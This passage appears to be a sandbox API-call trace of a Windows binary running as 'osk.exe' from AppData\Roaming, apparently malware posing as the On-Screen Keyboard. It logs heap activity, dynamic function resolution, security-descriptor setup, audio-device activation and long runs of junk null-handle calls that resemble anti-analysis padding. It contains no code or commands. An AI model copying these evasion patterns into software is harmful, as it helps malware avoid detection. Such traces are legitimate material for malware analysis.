(HeapHandle=0x6b0000, Flags=0x8, Size=0x31) returned 0x6da310 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6cb9f0 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x24) returned 0x6ca440 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xd) returned 0x6d6130 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x17) returned 0x6cba10 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2b) returned 0x6c2c10 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x15) returned 0x6cba30 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x17) returned 0x6cb910 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6ca470 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6d6058 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xc1) returned 0x6be2a8 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c1fd8 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1b) returned 0x6badf0 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1d) returned 0x6d8c38 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x48) returned 0x6cbd90 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6cb8d0 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6cb8f0 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1b) returned 0x6d8c60 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x24) returned 0x6ca4a0 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x29) returned 0x6c2d98 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1e) returned 0x6d8878 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6b) returned 0x6be100 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x17) returned 0x6cb770 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xf) returned 0x6d6208 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x16) returned 0x6cb930 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6da808 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x27) returned 0x6da8c8 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6cb7b0 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x21) returned 0x6da898 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6d6100 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6d88c8 [0213.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6cba90 [0213.339] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d9230 | out: hHeap=0x6b0000) returned 1 [0213.340] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0213.340] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0213.340] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0213.340] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0213.341] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0213.341] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionEx") returned 0x75efebc0 [0213.341] GetProcAddress (hModule=0x75e90000, lpProcName="InitOnceExecuteOnce") returned 0x74f95550 [0213.341] GetProcAddress (hModule=0x75e90000, lpProcName="CreateEventExW") returned 0x75efeb20 [0213.341] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSemaphoreW") returned 0x75efeb90 [0213.341] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSemaphoreExW") returned 0x75efeb80 [0213.341] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolTimer") returned 0x75ea6d30 [0213.341] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadpoolTimer") returned 0x77bfd7c0 [0213.342] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77bfb840 [0213.342] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolTimer") returned 0x77bfb740 [0213.342] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolWait") returned 0x75ea6d70 [0213.342] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadpoolWait") returned 0x77bfc0b0 [0213.342] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolWait") returned 0x77bfbe10 [0213.342] GetProcAddress (hModule=0x75e90000, lpProcName="FlushProcessWriteBuffers") returned 0x77c22b20 [0213.342] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77c18e50 [0213.342] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessorNumber") returned 0x77c152f0 [0213.343] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSymbolicLinkW") returned 0x75ea4510 [0213.343] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentPackageId") returned 0x74f9e260 [0213.343] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount64") returned 0x75ea0db0 [0213.343] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileInformationByHandleEx") returned 0x75ea43d0 [0213.343] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileInformationByHandle") returned 0x75eff110 [0213.343] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x75eff1e0 [0213.343] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeConditionVariable") returned 0x77c13a00 [0213.343] GetProcAddress (hModule=0x75e90000, lpProcName="WakeConditionVariable") returned 0x77c88c50 [0213.344] GetProcAddress (hModule=0x75e90000, lpProcName="WakeAllConditionVariable") returned 0x77c18a90 [0213.344] GetProcAddress (hModule=0x75e90000, lpProcName="SleepConditionVariableCS") returned 0x7500fca0 [0213.344] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeSRWLock") returned 0x77c13a00 [0213.344] GetProcAddress (hModule=0x75e90000, lpProcName="AcquireSRWLockExclusive") returned 0x77bf58e0 [0213.344] GetProcAddress (hModule=0x75e90000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77c72ce0 [0213.344] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseSRWLockExclusive") returned 0x77bf83a0 [0213.344] GetProcAddress (hModule=0x75e90000, lpProcName="SleepConditionVariableSRW") returned 0x7500fcf0 [0213.344] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolWork") returned 0x75ea6db0 [0213.345] GetProcAddress (hModule=0x75e90000, lpProcName="SubmitThreadpoolWork") returned 0x77bfeb00 [0213.345] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolWork") returned 0x77bfed50 [0213.345] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringEx") returned 0x75ea7050 [0213.345] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoEx") returned 0x75ea7190 [0213.345] GetProcAddress (hModule=0x75e90000, lpProcName="LCMapStringEx") returned 0x75ea7480 [0213.345] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x800) returned 0x6d8f60 [0213.345] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0213.346] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4321f2) returned 0x0 [0213.346] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6d1ec8 [0213.346] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0213.346] GetProcAddress (hModule=0x74ea0000, lpProcName="CompareStringEx") returned 0x74f62c20 [0213.347] GetProcAddress (hModule=0x74ea0000, lpProcName="EnumSystemLocalesEx") returned 0x74f63a60 [0213.347] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0213.347] GetProcAddress (hModule=0x74ea0000, lpProcName="GetDateFormatEx") returned 0x74fd9b40 [0213.347] GetProcAddress (hModule=0x74ea0000, lpProcName="GetLocaleInfoEx") returned 0x74f8f170 [0213.347] GetProcAddress (hModule=0x74ea0000, lpProcName="GetTimeFormatEx") returned 0x74fd9e10 [0213.347] GetProcAddress (hModule=0x74ea0000, lpProcName="GetUserDefaultLocaleName") returned 0x74f94220 [0213.347] GetProcAddress (hModule=0x74ea0000, lpProcName="IsValidLocaleName") returned 0x74f8ed60 [0213.347] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0213.348] GetProcAddress (hModule=0x74ea0000, lpProcName="LCIDToLocaleName") returned 0x74f8da50 [0213.348] GetProcAddress (hModule=0x74ea0000, lpProcName="LocaleNameToLCID") returned 0x74f6bac0 [0213.348] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6d8788 [0213.348] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2) returned 0x6d1ed8 [0213.348] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d1ed8 | out: hHeap=0x6b0000) returned 1 [0213.348] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2) returned 0x6d1f38 [0213.348] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6d1e68 [0213.349] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x18) returned 0x6cb810 [0213.349] GetLastError () returned 0x0 [0213.349] SetLastError (dwErrCode=0x0) [0213.349] GetLastError () returned 0x0 [0213.349] SetLastError (dwErrCode=0x0) [0213.349] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb8) returned 0x6c7518 [0213.349] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6a6) returned 0x6db3f8 [0213.349] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6db3f8 | out: hHeap=0x6b0000) returned 1 [0213.349] GetLastError () returned 0x0 [0213.349] SetLastError (dwErrCode=0x0) [0213.349] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6d1e98 [0213.349] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2) returned 0x6d1ed8 [0213.349] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6d1ee8 [0213.349] GetLastError () returned 0x0 [0213.349] SetLastError (dwErrCode=0x0) [0213.349] GetLastError () returned 0x0 [0213.349] SetLastError (dwErrCode=0x0) [0213.349] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb8) returned 0x6bf9c8 [0213.349] GetLastError () returned 0x0 [0213.349] SetLastError (dwErrCode=0x0) [0213.350] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6a6) returned 0x6db3f8 [0213.350] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6db3f8 | out: hHeap=0x6b0000) returned 1 [0213.350] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d1e98 | out: hHeap=0x6b0000) returned 1 [0213.350] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7518 | out: hHeap=0x6b0000) returned 1 [0213.350] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d1ee8 | out: hHeap=0x6b0000) returned 1 [0213.350] GetLastError () returned 0x0 [0213.350] SetLastError (dwErrCode=0x0) [0213.350] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6d1ee8 [0213.350] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2) returned 0x6d1e98 [0213.350] GetLastError () returned 0x0 [0213.350] SetLastError (dwErrCode=0x0) [0213.350] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x200) returned 0x6c51e8 [0213.350] GetLastError () returned 0x0 [0213.350] SetLastError (dwErrCode=0x0) [0213.350] GetLastError () returned 0x0 [0213.350] SetLastError (dwErrCode=0x0) [0213.350] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6d1ef8 [0213.350] GetLastError () returned 0x0 [0213.350] SetLastError (dwErrCode=0x0) [0213.350] GetLastError () returned 0x0 [0213.350] SetLastError (dwErrCode=0x0) [0213.351] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb8) returned 0x6c7518 [0213.351] GetLastError () returned 0x0 [0213.351] SetLastError (dwErrCode=0x0) [0213.351] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6a6) returned 0x6db3f8 [0213.351] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6db3f8 | out: hHeap=0x6b0000) returned 1 [0213.351] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d1ee8 | out: hHeap=0x6b0000) returned 1 [0213.351] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6bf9c8 | out: hHeap=0x6b0000) returned 1 [0213.351] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d1ef8 | out: hHeap=0x6b0000) returned 1 [0213.351] GetLastError () returned 0x0 [0213.351] SetLastError (dwErrCode=0x0) [0213.351] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6d1ee8 [0213.351] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d1e98 | out: hHeap=0x6b0000) returned 1 [0213.351] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d1ed8 | out: hHeap=0x6b0000) returned 1 [0213.351] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6d1e98 [0213.352] GetStartupInfoW (in: lpStartupInfo=0x19ff00 | out: lpStartupInfo=0x19ff00*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0213.352] CoInitialize (pvReserved=0x0) returned 0x0 [0213.676] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19fde4, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19fe00 | out: pSid=0x19fe00*=0x6d6040*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0213.676] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19fe2c, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19fdfc | out: pSid=0x19fdfc*=0x6d6238*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0213.676] SetEntriesInAclA () returned 0x0 [0213.682] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x6cb830 [0213.682] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x6cb830, dwRevision=0x1 | out: pSecurityDescriptor=0x6cb830) returned 1 [0213.682] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x6cb830, bDaclPresent=1, pDacl=0x6da510, bDaclDefaulted=0 | out: pSecurityDescriptor=0x6cb830) returned 1 [0213.682] CM_Delete_Range (ullStartValue=0x0, ullEndValue=0x0, rlh=0x0, ulFlags=0x0) returned 0x11 [0213.682] CM_Detect_Resource_Conflict (in: dnDevInst=0x0, ResourceID=0x0, ResourceData=0x0, ResourceLen=0x0, pbConflictDetected=0x0, ulFlags=0x0 | out: pbConflictDetected=0x0) returned 0x5 [0213.682] LockResource (hResData=0x0) returned 0x0 [0213.682] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.682] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.682] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.682] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.682] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.682] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.682] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.682] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.682] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0213.683] SetForegroundWindow (hWnd=0x0) returned 0 [0213.683] CreateSolidBrush (color=0xc8ffff) returned 0x3b1006fa [0213.683] UnhookWindowsHookEx (hhk=0x0) returned 0 [0213.684] GetConsoleWindow () returned 0x0 [0213.684] SetWindowPos (hWnd=0x0, hWndInsertAfter=0x0, X=5, Y=2, cx=10, cy=20, uFlags=0x40) returned 0 [0213.684] SetRect (in: lprc=0x19fc90, xLeft=0, yTop=0, xRight=0, yBottom=0 | out: lprc=0x19fc90) returned 1 [0213.684] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6d1ed8 [0213.684] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x6d8a80 [0213.684] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6d5ff8 [0213.684] GetLastError () returned 0x578 [0213.684] SetLastError (dwErrCode=0x578) [0213.684] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6d6010 [0213.684] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d5ff8 | out: hHeap=0x6b0000) returned 1 [0213.684] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d6010 | out: hHeap=0x6b0000) returned 1 [0213.684] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d8a80 | out: hHeap=0x6b0000) returned 1 [0213.684] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d1ed8 | out: hHeap=0x6b0000) returned 1 [0213.684] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1388000) returned 0x222e020 [0214.751] GetLastError () returned 0x578 [0214.751] GetSysColor (nIndex=22) returned 0xe3e3e3 [0214.751] CreatePen (iStyle=0, cWidth=1, color=0xe3e3e3) returned 0x1a30060d [0214.751] GetDlgItem (hDlg=0x0, nIDDlgItem=144) returned 0x0 [0214.751] GetClientRect (in: hWnd=0x0, lpRect=0x19fc90 | out: lpRect=0x19fc90) returned 0 [0214.751] GetDC (hWnd=0x0) returned 0x21010519 [0214.751] PathCompactPathA (in: hDC=0x21010519, pszPath="", dx=0x0 | out: pszPath="") returned 1 [0214.751] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0214.751] GetDlgItem (hDlg=0x0, nIDDlgItem=144) returned 0x0 [0214.751] GetClientRect (in: hWnd=0x0, lpRect=0x19fc90 | out: lpRect=0x19fc90) returned 0 [0214.751] GetDC (hWnd=0x0) returned 0x8a01072b [0214.751] PathCompactPathA (in: hDC=0x8a01072b, pszPath="", dx=0x0 | out: pszPath="") returned 1 [0214.752] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0214.752] LocalFree (hMem=0x6da510) returned 0x0 [0214.752] LocalFree (hMem=0x6cb830) returned 0x0 [0214.752] CoCreateInstance (in: rclsid=0x498280*(Data1=0xbcde0395, Data2=0xe52f, Data3=0x467c, Data4=([0]=0x8e, [1]=0x3d, [2]=0xc4, [3]=0x57, [4]=0x92, [5]=0x91, [6]=0x69, [7]=0x2e)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x498270*(Data1=0xa95664d2, Data2=0x9614, Data3=0x4f35, Data4=([0]=0xa7, [1]=0x46, [2]=0xde, [3]=0x8d, [4]=0xb6, [5]=0x36, [6]=0x17, [7]=0xe6)), ppv=0x19fe48 | out: ppv=0x19fe48*=0x6d4c08) returned 0x0 [0214.842] MMDeviceEnumerator:IMMDeviceEnumerator:GetDefaultAudioEndpoint (in: This=0x6d4c08, dataFlow=0x0, role=0x0, ppEndpoint=0x19fe4c | out: ppEndpoint=0x19fe4c*=0x6c2eb0) returned 0x0 [0214.844] IMMDevice:Activate (in: This=0x6c2eb0, iid=0x498290, dwClsCtx=0x17, pActivationParams=0x0, ppInterface=0x19fdfc | out: ppInterface=0x19fdfc) returned 0x0 [0216.042] GetLastError () returned 0x5ad [0216.042] SetLastError (dwErrCode=0x5ad) [0216.042] GetLastError () returned 0x5ad [0216.042] SetLastError (dwErrCode=0x5ad) [0216.042] GetLastError () returned 0x5ad [0216.042] SetLastError (dwErrCode=0x5ad) [0216.042] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x86) returned 0x6d4e60 [0216.043] SetStretchBltMode (hdc=0x0, mode=4) returned 0 [0216.043] GetEnvironmentStrings () returned 0x73b108* [0216.043] SetWindowWord (hWnd=0x0, nIndex=0, wNewWord=0x90) returned 0x0 [0216.043] SHIsLowMemoryMachine (dwType=0x0) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) 